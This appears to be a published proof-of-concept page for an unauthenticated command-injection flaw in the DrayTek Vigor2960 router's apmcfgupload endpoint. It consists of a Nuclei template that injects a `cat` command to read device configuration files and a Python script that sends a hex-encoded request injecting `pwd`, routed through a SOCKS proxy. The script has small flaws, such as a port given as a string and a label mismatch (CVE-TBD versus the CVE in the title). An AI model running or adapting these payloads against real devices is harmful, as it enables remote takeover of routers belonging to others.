POC -draytek-vigor2960 ( CVE-2024-12987 )

Template Nuclei : draytek-vigor2960-cmd-injection.yaml

id: draytek-vigor2960-cmd-injection

info:
  name: DrayTek Vigor2960 RCE via apmcfgupload (CVE-TBD)
  author: quangvu
  severity: critical
  description: |
    DrayTek Vigor2960 routers running firmware version 1.5.1.4 are vulnerable
    to remote command injection via the `apmcfgupload` endpoint. This allows
    unauthenticated attackers to execute arbitrary commands on the device.
  tags: rce,draytek,router,command-injection,iot

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxx0.%2524c%2525%24{IFS}cat${IFS}/etc/persistence/config/device_in*"

    headers:
      User-Agent: nuclei-scanner

    matchers:
      - type: word
        words:
          - "ModelName"
          - "Vigor2960"
          - "SoftwareVersion"
        condition: and
        part: body

    extractors:
      - type: regex
        part: body
        regex:
          - "ModelName'.*?'(.*?)'"
          - "SoftwareVersion'.*?'(.*?)'"

Other Python code

import socket
import socks


def send_http_request(host_ip, host_port, request):
    socket.socket = socks.socksocket
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(10)
            s.connect((host_ip, host_port))
            request = bytes.fromhex(request.decode())
            s.sendall(request)
            print("HTTP request sent:")
            print(request)

            response = b""
            while True:
                data = s.recv(4096)
                if not data:
                    break
                response += data

            return response.decode('utf-8', errors='replace')
    except Exception as e:
        print("An error occurred:", e)


if __name__ == "__main__":
    host = '<TARGET_IP>'
    port = '<TARGET_PORT>'
    
    # the injected command is `pwd`
    request_apmcfgupload_pwd_binary = b'474554202F6367692D62696E2F6D61696E66756E6374696F6E2E6367692F61706D63666775706C6F61643F73657373696F6E3D7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787830B42535322463253532246370776420485454502F312E300D0A0D0A'

    response = send_http_request(host, port, request_apmcfgupload_pwd_binary)

    print("HTTP response received:")
    print(response)

Last updated

Was this helpful?